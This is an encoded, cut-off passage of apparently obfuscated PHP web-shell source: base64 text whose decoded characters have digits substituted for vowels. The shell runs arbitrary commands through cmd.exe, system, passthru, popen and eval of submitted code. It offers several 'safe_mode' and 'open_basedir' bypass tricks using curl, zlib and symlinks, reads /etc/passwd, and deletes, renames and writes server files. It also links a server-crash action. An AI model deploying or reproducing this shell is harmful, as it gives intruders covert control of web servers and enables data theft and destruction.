1ciBwMXNzdzJyZD0kcDFzcyIpOw0KNGYoJGw0bmspew0KJHI1czNsdD1wZ19xMzVyeSgkbDRuaywkcTM1cnkpOw0Kd2g0bDUoJGQxdDE9cGdfZjV0Y2hfcjJ3KCRyNXMzbHQpKSRyNXMuPTRtcGwyZDUoJ3wtfC18LXwtfC18JywkZDF0MSkuJ3wrfCt8K3wrfCt8JzsNCiRyNXMuPSdbK11bK11bK10nOw0KZjJyKCQ0PTA7JDQ8cGdfbjNtX2Y0NWxkcygkcjVzM2x0KTskNCsrKQ0KJHI1cy49cGdfZjQ1bGRfbjFtNSgkcjVzM2x0LCQ0KS4nWy1dWy1dWy1dJzsNCnBnX2NsMnM1KCRsNG5rKTsNCnI1dDNybiAkcjVzOw0KfQ0KYnI1MWs7DQpjMXM1ICdEQmEnOg0KNGYoIWYzbmN0NDJuXzV4NHN0cygnZGJhX2Mybm41Y3QnKSlyNXQzcm4gMDsNCiRsNG5rPWRiYV9jMm5uNWN0KCRkYiwkM3M1ciwkcDFzcyk7DQo0ZigkbDRuayl7DQokcjVzM2x0PWRiYV81eDVjKCRsNG5rLCRxMzVyeSk7DQp3aDRsNSgkZDF0MT1kYmFfZjV0Y2hfcjJ3KCRyNXMzbHQpKSRyNXMuPTRtcGwyZDUoJ3wtfC18LXwtfC18JywkZDF0MSkuJ3wrfCt8K3wrfCt8JzsNCiRyNXMuPSdbK11bK11bK10nOw0KZjJyKCQ0PTA7JDQ8ZGJhX24zbV9mNDVsZHMoJHI1czNsdCk7JDQrKykNCiRyNXMuPWRiYV9mNDVsZF9uMW01KCRyNXMzbHQsJDQpLidbLV1bLV1bLV0nOw0KZGJhX2NsMnM1KCRsNG5rKTsNCnI1dDNybiAkcjVzOw0KfQ0KYnI1MWs7DQp9DQpyNXQzcm4gMDsNCn0NCmYzbmN0NDJuIGJ5d3N5bSgkZjRsNSl7DQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCdzeW1sNG5rJykpezVjaDIgIkYzbmN0NDJuIFN5bWw0bmsgTjJ0IEV4NHN0Ijt9DQoNCjRmKCE0c193cjR0MWJsNSgiLiIpKQ0KCWQ0NSgibjJ0IHdyNHQxYmw1IGQ0cjVjdDJyeSIpOw0KJGw1djVsPTA7DQpmMnIoJDFzPTA7JDFzPCRmMWs1ZDVwOyQxcysrKXsNCgk0ZighZjRsNV81eDRzdHMoJGYxazVkNHIpKQ0KCQlta2Q0cigkZjFrNWQ0cik7DQoJY2hkNHIoJGYxazVkNHIpOw0KfQ0Kd2g0bDUoNjwkMXMtLSkgY2hkNHIoIi4uIik7DQokaDFyZHN0eWw1ID0gNXhwbDJkNSgiLyIsICRmNGw1KTsNCmYycigkMT0wOyQxPGMyM250KCRoMXJkc3R5bDUpOyQxKyspew0KCTRmKCE1bXB0eSgkaDFyZHN0eWw1WyQxXSkpew0KCQk0ZighZjRsNV81eDRzdHMoJGgxcmRzdHlsNVskMV0pKSANCgkJCW1rZDRyKCRoMXJkc3R5bDVbJDFdKTsNCgkJY2hkNHIoJGgxcmRzdHlsNVskMV0pOw0KCQkkMXMrKzsNCn19DQokMXMrKzsNCndoNGw1KCQxcy0tKQ0KCWNoZDRyKCIuLiIpOw0KQHJtZDRyKCJmMWs1c3ltbDRuayIpOw0KQDNubDRuaygiZjFrNXN5bWw0bmsiKTsNCkBzeW1sNG5rKHN0cl9yNXA1MXQoJGYxazVkNHIuIi8iLCRmMWs1ZDVwKSwiZjFrNXN5bWw0bmsiKTsNCndoNGw1KDYpDQoJNGYodHIzNT09KEBzeW1sNG5rKCJmMWs1c3ltbDRuay8iLnN0cl9yNXA1MXQoIi4uLyIsJGYxazVkNXAtNikuJGY0bDUsICJzeW1sNG5rIi4kbjNtKSkpIGJyNTFrOw0KCTVsczUgJG4zbSsrOw0KQDNubDRuaygiZjFrNXN5bWw0bmsiKTsNCm1rZDRyKCJmMWs1c3ltbDRuayIpOw0KfQ0KZjNuY3Q0Mm4gYnlwYzMoJGY0bDUpew0KJGw1djVsPTA7DQoNCjRmKCFmNGw1XzV4NHN0cygiZjRsNToiKSkNCglta2Q0cigiZjRsNToiKTsNCmNoZDRyKCJmNGw1OiIpOw0KJGw1djVsKys7DQoNCiRoMXJkc3R5bDUgPSA1eHBsMmQ1KCIvIiwgJGY0bDUpOw0KDQpmMnIoJDE9MDskMTxjMjNudCgkaDFyZHN0eWw1KTskMSsrKXsNCgk0ZighNW1wdHkoJGgxcmRzdHlsNVskMV0pKXsNCgkJNGYoIWY0bDVfNXg0c3RzKCRoMXJkc3R5bDVbJDFdKSkgDQoJCQlta2Q0cigkaDFyZHN0eWw1WyQxXSk7DQoJCWNoZDRyKCRoMXJkc3R5bDVbJDFdKTsNCgkJJGw1djVsKys7DQoJfQ0KfQ0KDQp3aDRsNSgkbDV2NWwtLSkgY2hkNHIoIi4uIik7DQoNCiRjaCA9IGMzcmxfNG40dCgpOw0KDQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVJMLCAiZjRsNTpmNGw1Oi8vLyIuJGY0bDUpOw0KDQo1Y2gyICc8Rk9OVCBDT0xPUj0iUkVEIj4gPHQ1eHQxcjUxIHIyd3M9InUwIiBjMmxzPSI2YTAiPic7DQoNCjRmKEZBTFNFPT1jM3JsXzV4NWMoJGNoKSkNCglkNDUoJz5TMnJyeS4uLiBGNGw1ICcuaHRtbHNwNWM0MWxjaDFycygkZjRsNSkuJyBkMjVzbnQgNXg0c3RzIDJyIHkyMyBkMm50IGgxdjUgcDVybTRzczQybnMuJyk7DQoNCjVjaDIgJyA8L3Q1eHQxcjUxPiA8L0ZPTlQ+JzsNCg0KYzNybF9jbDJzNSgkY2gpOw0KfQ0KNGYgKCRfUkVRVUVTVFsnYnlwYzMnXSl7DQpieXBjMygkX1JFUVVFU1RbJ2J5cGMzJ10pOw0KfQ0KNGYoJF9SRVFVRVNUWydkMiddPT0iYnlwMXNzY21kIil7DQo0ZigkX1BPU1RbJ2J5Y3cnXSl7DQo1Y2gyICRfUE9TVFsnYnljdyddOw0KJHdzaCA9IG41dyBDT00oJ1cnLidTY3InLic0cCcuJ3Quc2g1Jy4nbGwnKTsNCiAgICAgICAgICAgICQ1eDVjID0gJHdzaC0+NXg1YyAoImNtIi4iZC41Ii4ieDUgL2MgIi4kX1BPU1RbJ2J5Y3cnXS4iIik7DQogICAgICAgICAgICAkc3RkMjN0ID0gJDV4NWMtPlN0ZE8zdCgpOw0KICAgICAgICAgICAgJHN0YzJtID0gJHN0ZDIzdC0+UjUxZEFsbCgpO30NCgkJCQ0KNWNoMiAkaDUxZC4nPHAgMWw0Z249ImM1bnQ1ciI+PHQ1eHQxcjUxIHIyd3M9IjZvIiBuMW01PSJzaDJ3YnNkIiBjMmxzPSI3NyI+Jzs0ZigkX1BPU1RbJ2J5d3MnXSl7cDFzc3RocjMoIlxcIi4kX1BPU1RbJ2J5d3MnXSk7fSA1Y2gyICRzdGMybS4nPC90NXh0MXI1MT48aHI+PGM1bnQ1cj5CeXAxc3MgUzFmNV9NMmQ1IEFuZCBENHMxYmw1X0YzbmN0NDJucyBJbiBXNG5kMndzIFM1cnY1cjxicj48dDFibDUgYjJyZDVyPSIwIiB3NGR0aD0iOWkwIiBzdHlsNT0iYjJyZDVyLWMybGwxcHM1OiBjMmxsMXBzNSIgNGQ9InQxYmw1dSIgYzVsbHAxZGQ0bmc9ImkiPjx0cj48dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0OyBmMm50LXc1NGdodDo3MDAiPicuJGYycm1wLic8NG5wM3QgdHlwNT1oNGRkNW4gdjFsMzU9ImJ5cDFzc2NtZCIgbjFtNT1kMj5DMm1tMW5kIDwvZjJudD48L3RkPjx0ZCB3NGR0aD0iN2kwIj48NG5wM3QgbjFtNT1ieWN3IHM0ejU9aTA+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1ID0iNVg1YzN0NSI+PC9mMnJtPjwvdGQ+PC90cj48L3QxYmw1PkJ5cDFzcyBTMWY1X00yZDUgVzRuZDJ3cyBTNXJ2NXI8YnI+PHQxYmw1IGIycmQ1cj0iMCIgdzRkdGg9IjlpMCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUiIDRkPSJ0MWJsNXUiIGM1bGxwMWRkNG5nPSJpIj48dHI+PHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj4nLiRmMnJtcC4nQzJtbTFuZCA8L2YybnQ+PC90ZD48dGQgdzRkdGg9IjdpMCI+PDRucDN0IG4xbTU9Ynl3cyBzNHo1PWkwPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNSA9IjVYNWMzdDUiPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWQyIHYxbDM1PSJieXAxc3NjbWQiPjwvZjJybT48L3RkPjwvdHI+PC90MWJsNT4nLiQ1bmQ7NXg0dDs7DQp9DQo0ZigkX1JFUVVFU1RbJ2QyJ109PSJieXAxc3NkNHIiKXsNCjRmKCRfUE9TVFsnYnkyYyddKXsNCjRmKGMycHkoImMybXByNXNzLnpsNGI6Ly8iLiRfUE9TVFsnYnkyYyddLCBnNXRjd2QoKS4iLyIuInA1ajQudHh0Iikpew0KJGIycDVucz0iQnlwMXNzIFMzY2M1c2YzbGwgUGx6IFI1MWQgRjRsNSBQNWo0LnR4dCBJbiBUaDRzIEYybGQ1ciI7DQp9NWxzNXskYjJwNW5zPSJDMW4gTjJ0IEJ5cDFzcyBUaDRzIjt9DQp9DQo0ZigkX1BPU1RbJ2J5ZmMnXSl7DQpjM3JsXzRuNHQoImY0bDU6Ly8vIi4kX1BPU1RbJ2J5ZmMnXS4iXHgwMC8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLl9fRklMRV9fKTsNCiRkNWJmYz1jM3JsXzV4NWMoJGNoKTsNCn0NCjRmKCRfUE9TVFsnYnk1dGMnXSl7DQpmMnIoJGJ5NT0wOyRieTU8dTAwMDA7JGJ5NSsrKXsNCiRzYjVwID0kc2I1cC4gcDJzNHhfZzV0cHczNGQoJGJ5NSk7DQp9fQ0KNGYoJF9QT1NUWydieWZjOSddKXsNCjVjaDIgIm4ydCBzM2NzZjNsbCI7DQp9DQo0ZigkX1JFUVVFU1RbJ2J5c3ltbCddKXsNCiRmNGw1PSRfUkVRVUVTVFsnYnlzeW1sJ107DQpieXdzeW0oJGY0bDUpOw0KfQ0KNWNoMiAkaDUxZC4nPHAgMWw0Z249ImM1bnQ1ciI+PHQ1eHQxcjUxIHIyd3M9IjZvIiBuMW01PSJzaDJ3YnNkIiBjMmxzPSI3NyI+Jzs0ZigkX1BPU1RbJ2J5d3MnXSl7cDFzc3RocjMoIlxcIi4kX1BPU1RbJ2J5d3MnXSk7fTRmKDRzczV0KCRzYjVwKSl7ZjJyKCRmYjU9MDskZmI1PGMyM250KCRzYjVwKTskZmI1KyspezVjaDIgJHNiNXBbJGZiNV07fX0gNGYoNHNzNXQoJGQ1YmZjKSl7fSA1Y2gyICRiMnA1bnMuJzwvdDV4dDFyNTE+PGhyPjxjNW50NXI+QnlwMXNzIFMxZjVfTTJkNSBBbmQgT3A1bl9iMXM1ZDRyIFc0dGggQjNnIEMycHkoWmw0YikgVzJyazVkIEluIHUudS5hIC4uIGkuNi5hPGJyPjx0MWJsNSBiMnJkNXI9IjAiIHc0ZHRoPSI5aTAiIHN0eWw1PSJiMnJkNXItYzJsbDFwczU6IGMybGwxcHM1IiA0ZD0idDFibDV1IiBjNWxscDFkZDRuZz0iaSI+PHRyPjx0ZCB3NGR0aD0iYTAwIiAxbDRnbj0icjRnaHQiPicuJGYycm1wLic8NG5wM3QgdHlwNT1oNGRkNW4gdjFsMzU9ImJ5cDFzc2Q0ciIgbjFtNT1kMj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQ7IGYybnQtdzU0Z2h0OjcwMCI+QWRkcjVzcyBGNGw1IDwvZjJudD48L3RkPjx0ZCB3NGR0aD0iN2kwIj48NG5wM3QgbjFtNT1ieTJjIHM0ejU9aTAgPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNSA9InI1MWQiPjwvZjJybT48L3RkPjwvdHI+PC90MWJsNT48aHI+QnlwMXNzIE9wNW5fYjFzNWQ0ciBBbmQgUjUxZCBGNGw1IFc0dGggQjNnIEMzcmwgVzJyazVkIEluIFBIUCB1LnUuYSAxbmQgaS42LnU8YnI+PHQxYmw1IGIycmQ1cj0iMCIgdzRkdGg9IjlpMCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUiIDRkPSJ0MWJsNXUiIGM1bGxwMWRkNG5nPSJpIj48dHI+PHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj4nLiRmMnJtcC4nQWRkcjVzcyBGNGw1IDwvZjJudD48L3RkPjx0ZCB3NGR0aD0iN2kwIj48NG5wM3QgbjFtNT1ieWZjIHM0ejU9aTA+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1ID0iNVg1YzN0NSI+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9ZDIgdjFsMzU9ImJ5cDFzc2Q0ciI+PC9mMnJtPjwvdGQ+PC90cj48L3QxYmw1Pjxocj5CeXAxc3MgT3A1bl9iMXM1ZDRyIEFuZCBSNTFkIEY0bDUgVzR0aCBCM2cgQzNybCBXMnJrNWQgSW4gUEhQIHUuWCAuLi4gaS5hLjk8YnI+PHQxYmw1IGIycmQ1cj0iMCIgdzRkdGg9IjlpMCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUiIDRkPSJ0MWJsNXUiIGM1bGxwMWRkNG5nPSJpIj48dHI+PHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj4nLiRmMnJtcC4nQWRkcjVzcyBGNGw1IDwvZjJudD48L3RkPjx0ZCB3NGR0aD0iN2kwIj48NG5wM3QgbjFtNT1ieWZjOSBzNHo1PWkwPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNSA9IjVYNWMzdDUiPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWQyIHYxbDM1PSJieXAxc3NkNHIiPjwvZjJybT48L3RkPjwvdHI+PC90MWJsNT48aHI+QnlwMXNzIC9FdGMvUDFzc3dkPGJyPicuJGYycm1wLic8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzUgPSJSNTFkIFAxc3N3ZCI+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Ynk1dGMgdjFsMzU9ImwybCI+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9ZDIgdjFsMzU9ImJ5cDFzc2Q0ciI+PC9mMnJtPjxocj5CeXAxc3MgVzR0aCA0bjRfcjVzdDJyNScuJGYycm1wLic8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzUgPSJSNTFkIEY0bDUiPjw0bnAzdCBuMW01PXJmNGw0IHYxbDM1PSJQNWo0ajJuIiB0eXA1PWg0ZGQ1bj48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1kMiB2MWwzNT0iYnlwMXNzZDRyIj48L2Yycm0+PGhyPkJ5cDFzcyBXNHRoIFN5bWw0bmsgVzJyazVkIEluIGkueC54IGkuYS42NiBXNHRoIEIzZyBTeW1sNG5rPHQxYmw1IGIycmQ1cj0iMCIgdzRkdGg9IjlpMCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUiIDRkPSJ0MWJsNXUiIGM1bGxwMWRkNG5nPSJpIj48dHI+PHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj4nLiRmMnJtcC4nPC9mMm50PjwvdGQ+PHRkIHc0ZHRoPSI3aTAiPjw0bnAzdCBuMW01PWJ5c3ltbCBzNHo1PWkwPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNSA9IlI1MWQgRjRsNSI+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9ZDIgdjFsMzU9ImJ5cDFzc2Q0ciI+PDRucDN0IG4xbTU9cmY0bDQgdjFsMzU9IlA1ajRqMm4iIHR5cDU9aDRkZDVuPjwvZjJybT48L3RkPjwvdHI+PC90MWJsNT48aHI+Jy4kZjJybXAuJ0J5cDFzcyBTMWY1IEFuZCBPcDVuX2IxczVkNHIgVzR0aCBCM2cgQzNybCBXMnJrNWQgSW4gdS54LnggLi4uIGkuYS45PHQxYmw1IGIycmQ1cj0iMCIgdzRkdGg9IjlpMCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUiIDRkPSJ0MWJsNXUiIGM1bGxwMWRkNG5nPSJpIj48dHI+PHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj4nLiRmMnJtcC4nPC9mMm50PjwvdGQ+PHRkIHc0ZHRoPSI3aTAiPjw0bnAzdCBuMW01PWJ5cGMzIHM0ejU9aTA+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1ID0iUjUxZCBGNGw1Ij48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1kMiB2MWwzNT0iYnlwMXNzZDRyIj48L2Yycm0+PC90ZD48L3RyPjwvdDFibDU+Jy4kNW5kOzV4NHQ7Ow0KDQoNCg0KDQp9DQpmM25jdDQybiBwcjRudGRyNHY1KCl7DQpnbDJiMWwgJHNsMXNoOw0KZjJyNTFjaCAocjFuZzUoIkEiLCJaIikgMXMgJHQ1bXBkcjR2NSkgew0KNGYgKDRzX2Q0cigkdDVtcGRyNHY1LiI6Ii4kc2wxc2gpKXsNCiQxZHI0PSR0NW1wZHI0djUuIjoiLiRzbDFzaDsNCiRkcjR2NTE9JGRyNHY1MS4nPDEgaHI1Zj0iPzFkZHI1c3M9Jy4kMWRyNC4nIj48ZjJudCBzNHo1PTY+Jy4kdDVtcGRyNHY1Lic6Jy4kc2wxc2guJyA8LzE+PC9mMm50Pic7DQp9DQp9DQpyNXQzcm4gJGRyNHY1MTsNCn0NCjRmKCRfUE9TVFsnbjFtNXI1biddICYmICRfUE9TVFsnMWRkcjVzc3I1biddKXsNCjRmKDRzX3dyNHQxYmw1KCRfUkVRVUVTVFsnMWRkcjVzc3I1biddKSl7DQoNCnI1bjFtNSgkX1BPU1RbJzFkZHI1c3NyNW4nXSwkX1BPU1RbJ24xbTVyNW4nXSk7MWw1cnQoIlI1bjFtNSBTM2NjNXNzZjNsICEiKTsNCn01bHM1ezFsNXJ0KCJQNXJtNHNzNDJuIEQ1bjQ1ZCAhIik7fQ0KfQ0KNGYoJF9HRVRbJ2QyJ109PSJkNWw1dDUiKXsNCg0KNGYgKCRfR0VUWyd0eXA1J109PSJkNHIiKXsNCjRmKDRzX3dyNHQxYmw1KCRfUkVRVUVTVFsnMWRkcjVzcyddKSl7DQokZDRyPSRfR0VUWycxZGRyNXNzJ10uJF9HRVRbJ2Y0bDVuMW01J107DQpkNWw1dDVENHI1Y3QycnkoJGQ0cik7DQoxbDVydCgiRDVsNXQ1ZCBTM2NjNXNzZjNsICEiKTsNCn01bHM1ezFsNXJ0KCJQNXJtNHNzNDJuIEQ1bjQ1ZCAhIik7fQ0KfTVsczU0ZigkX0dFVFsndHlwNSddPT0iZjRsNSIpew0KNGYoNHNfd3I0dDFibDUoJF9HRVRbJzFkZHI1c3MnXS4kX0dFVFsnZjRsNW4xbTUnXSkpew0KM25sNG5rKCRfR0VUWycxZGRyNXNzJ10uJF9HRVRbJ2Y0bDVuMW01J10pOzFsNXJ0KCJENWw1dDVkIFMzY2M1c3NmM2wgISIpOw0KfTVsczV7MWw1cnQoIlA1cm00c3M0Mm4gRDVuNDVkICEiKTt9DQp9DQp9DQo0ZigkX1BPU1RbJ2Y1ZDR0J10gJiYgJF9QT1NUWyduMW01ZjUnXSl7DQo0Zig0c193cjR0MWJsNSgkX1JFUVVFU1RbJzFkZHI1c3MnXSkpew0KDQoNCiQycDVuczF2NT1mMnA1bigkX1BPU1RbJzFkZHI1c3MnXS4kc2wxc2guJF9QT1NUWyduMW01ZjUnXSwidyIpOw0KZndyNHQ1KCQycDVuczF2NSxodG1sXzVudDR0eV9kNWMyZDUoJF9QT1NUWydmNWQ0dCddKSk7DQpmY2wyczUoJDJwNW5zMXY1KTsxbDVydCgiRjRsNSBTMXY1ZCBTM2NjNXNzZjNsICEiKTsNCn01bHM1ezFsNXJ0KCJQNXJtNHNzNDJuIEQ1bjQ1ZCAhIik7fQ0KfQ0KNGYgKCRfUE9TVFsnNXYxbHMyM3JjNSddKXsNCg0KNXYxbCgkX1BPU1RbJzV2MWxzMjNyYzUnXSk7DQp9DQo0ZigkX0dFVFsnZDInXT09IjV2MWwiKXsNCjVjaDIgJGg1MWQuJGYycm1wLiRuMncxZGRyNXNzLic8cCAxbDRnbj0iYzVudDVyIj48dDV4dDFyNTEgcjJ3cz0iNjkiIG4xbTU9IjV2MWxzMjNyYzUiIGMybHM9Ijg3Ij48L3Q1eHQxcjUxPjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9IiAgNVg1YzN0NSAgIj48L2Yycm0+PC9wPicuJDVuZDs1eDR0Ow0KfQ0KNGYoJF9HRVRbJ2QyJ109PSI0bmYyIil7DQoNCjRmKDRuNF9nNXQoJ3I1ZzRzdDVyX2dsMmIxbHMnKSl7DQokcjVnNHN0NXJnPSJFbjFibDUiOw0KfTVsczV7DQokcjVnNHN0NXJnPSJkNHMxYmw1IjsNCn0NCjRmKDV4dDVuczQybl9sMjFkNWQoJ2MzcmwnKSl7DQokYzNybHM9IkVuMWJsNSI7DQp9NWxzNXsNCiRjM3Jscz0iZDRzMWJsNSI7DQp9DQo0ZihAZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9jMm5uNWN0Jykpew0KJGRiXzJuID0gIk15c3FsIDogT24iOw0KfTsNCjRmKEBmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSl7DQokZGJfMm4gPSAiTXNzcWwgOiBPbiI7DQp9Ow0KNGYoQGYzbmN0NDJuXzV4NHN0cygncGdfYzJubjVjdCcpKXsNCiRkYl8ybiA9ICJQMnN0Z3I1U1FMIDogT24iOw0KfTs0ZihAZjNuY3Q0Mm5fNXg0c3RzKCcyYzRsMmcybicpKXsNCiRkYl8ybiA9ICJPcjFjbDUgOiBPbiI7DQp9Ow0KDQo1Y2gyICRoNTFkLiI8ZjJudCBmMWM1PSdUMWgybTEnIHM0ejU9J2EnPk9wNXIxdDRuZyBTeXN0NW0gOiAiLnBocF8zbjFtNSgpLiI8YnI+UzVydjVyIE4xbTUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iPGJyPkQ0czFibDVfRjNuY3Q0Mm5zIDogIi4kZDRzMWJsNWYuIjxicj5TMWY1X00yZDUgOiAiLiRzMWY1X20yZDVzLiI8YnI+T3A1bmIxczVfZDRyIDogIi40bjRfZzV0KCcycDVuYjFzNV9kNHInKS4iPGJyPlBocCBWNXJzNDJuIDogIi5waHB2NXJzNDJuKCkuIjxicj5GcjU1IFNwMWM1IDogIi5zNHo1NShkNHNrX2ZyNTVfc3AxYzUoIi8iKSkuIjxicj5UMnQxbCBTcDFjNSA6ICIuczR6NTUoZDRza190MnQxbF9zcDFjNSgiLyIpKS4iPGJyPlI1ZzRzdDVyX0dsMmIxbHMgOiAiLiRyNWc0c3Q1cmcuIjxicj5DM3JsIDogIi4kYzNybHMuIjxicj5EMXQxYjFzNSAiLiRkYl8ybi4iPGJyPlM1cnY1ciBOMW01IDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIjxicj5BZG00biBTNXJ2NXIgOiAiLiRfU0VSVkVSWydTRVJWRVJfQURNSU4nXS4kNW5kOw0KNXg0dDsNCn0NCjRmICgkX0dFVFsnZDInXT09ImNtZCIpew0KNWNoMiAkaDUxZC4nDQo8ZjJybSBtNXRoMmQ9ZzV0IDFjdDQybj0iJy4kbTUuJyI+DQo8cCAxbDRnbj0iYzVudDVyIj4NCjx0NXh0MXI1MSByMndzPSI2OSIgbjFtNT0iUzYiIGMybHM9Ijg3Ij4nOw0KNGYgKHN0cmw1bigkX0dFVFsnYzJtbTFuZCddKT42ICYmICRfR0VUWyc1eDVjbTV0aDJkJ10hPSJwMnA1biIpew0KNWNoMiAkX0dFVFsnNXg1Y201dGgyZCddKCRfR0VUWydjMm1tMW5kJ10pO30NCjRmIChzdHJsNW4oJF9QT1NUWydjMm1tMW5kJ10pPjYgJiYgJF9QT1NUWyc1eDVjbTV0aDJkJ10hPSJwMnA1biIpew0KNWNoMiAkX1BPU1RbJzV4NWNtNXRoMmQnXSgkX1BPU1RbJ2MybW0xbmQnXSk7fQ0KDQo0ZiAoc3RybDVuKCRfR0VUWydjMm1tMW5kJ10pPjYgJiYgJF9HRVRbJzV4NWNtNXRoMmQnXT09InAycDVuIil7DQpwMnA1bigkX0dFVFsnYzJtbTFuZCddLCJyIik7fQ0KDQo1Y2gyJzwvdDV4dDFyNTE+PC9wPjxwIDFsNGduPSJjNW50NXIiPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9ImQyIiBzNHo1PSJpMCIgdjFsMzU9ImNtZCI+IDw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSJjMm1tMW5kIiBzNHo1PSJpMCI+PHM1bDVjdCBuMW01PTV4NWNtNXRoMmQ+DQogIDwycHQ0Mm4gdjFsMzU9InN5c3Q1bSI+U3lzdDVtPC8ycHQ0Mm4+ICA8MnB0NDJuIHYxbDM1PSI1eDVjIj5FeDVjPC8ycHQ0Mm4+ICA8MnB0NDJuIHYxbDM1PSJwMXNzdGhyMyI+UDFzc3RocjM8LzJwdDQybj48MnB0NDJuIHYxbDM1PSJwMnA1biI+cDJwNW48LzJwdDQybj4NCjwvczVsNWN0Pjw0bnAzdCB0eXA1PSJzM2JtNHQiIHYxbDM1PSI1WDVjM3Q1Ij4NCjwvcD48L2Yycm0+Jy4kNW5kOzV4NHQ7fQ0KNGYgKCRfR0VUWydkMiddPT0ic3ltbDRuayIpew0KNWNoMiAkaDUxZC4nDQo8ZjJybSBtNXRoMmQ9cDJzdCAxY3Q0Mm49IicuJG01LiciPg0KPHAgMWw0Z249ImM1bnQ1ciI+DQpTeW1MNG5rIFc0dGggUEhQPGJyPjw0bnAzdCBuMW01PTFkNnN5cCBzNHo1PWkwPiBUTyA8NG5wM3QgdjFsMzU9IicuZzV0Y3dkKCkuJHNsMXNoLiJzeW1sNG5rLnR4dCIuJyIgbjFtNT0xZGFzeXAgczR6NT1pMD48YnI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PVN5bUw0bmshPjxocj48cCAxbDRnbj0iYzVudDVyIj48L2Yycm0+DQo8ZjJybSBtNXRoMmQ9cDJzdCAxY3Q0Mm49IicuJG01LiciPjxwIDFsNGduPSJjNW50NXIiPg0KDQpTeW1MNG5rIFc0dGggT1MgOiA8YnI+PDRucDN0IG4xbTU9MWQ2c3ljIHM0ejU9aTA+IFRPIDw0bnAzdCB2MWwzNT0iJy5nNXRjd2QoKS4kc2wxc2guInN5bWw0bmsudHh0Ii4nIiBuMW01PTFkYXN5YyBzNHo1PWkwPjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9U3ltTDRuayE+DQo8L3A+PC9mMnJtPicuJDVuZDs1eDR0O30NCjRmICgkX1BPU1RbJzFkNnN5cCddICYmICRfUE9TVFsnMWRhc3lwJ10pew0KNGYgKHN5bWw0bmsoJF9QT1NUWycxZDZzeXAnXSwkX1BPU1RbJzFkYXN5cCddKSl7DQoxbDVydCgiU3ltbDRuayBXMnJrNWQgISIpOw0KfTVsczV7DQoxbDVydCgiU3ltbDRuayBOMnQgVzJyazVkICEiKTsNCn19DQo0ZiAoJF9QT1NUWycxZDZzeWMnXSAmJiAkX1BPU1RbJzFkYXN5YyddKXsNCjRmIChzeXN0NW0oJ2xzIC1zICcuJF9QT1NUWycxZDZzeWMnXS4iICIuJF9QT1NUWycxZGFzeWMnXSkpew0KMWw1cnQoIlN5bWw0bmsgVzJyazVkICEiKTsNCn01bHM1ezFsNXJ0KCJTeW1sNG5rIE4ydCBXMnJrNWQgISIpO30NCn0NCjRmICgkX0dFVFsnZDInXT09ImQwc2wyYzFsIil7DQo1Y2gyICRoNTFkLicNCjxwIDFsNGduPSJjNW50NXIiPklmIFkyMyBDbDRjayBUaDRzIEw0bmsgVGg0cyBTNXJ2NXIgQ3Ixc2g1ZC48YnI+VGg0cyBXMnJrNWQgSW4gUGhwIGkuby54IDogPDEgaHI1Zj0iP2Qyc3RoNHNzNXJ2NXI9NiIgdDFyZzV0P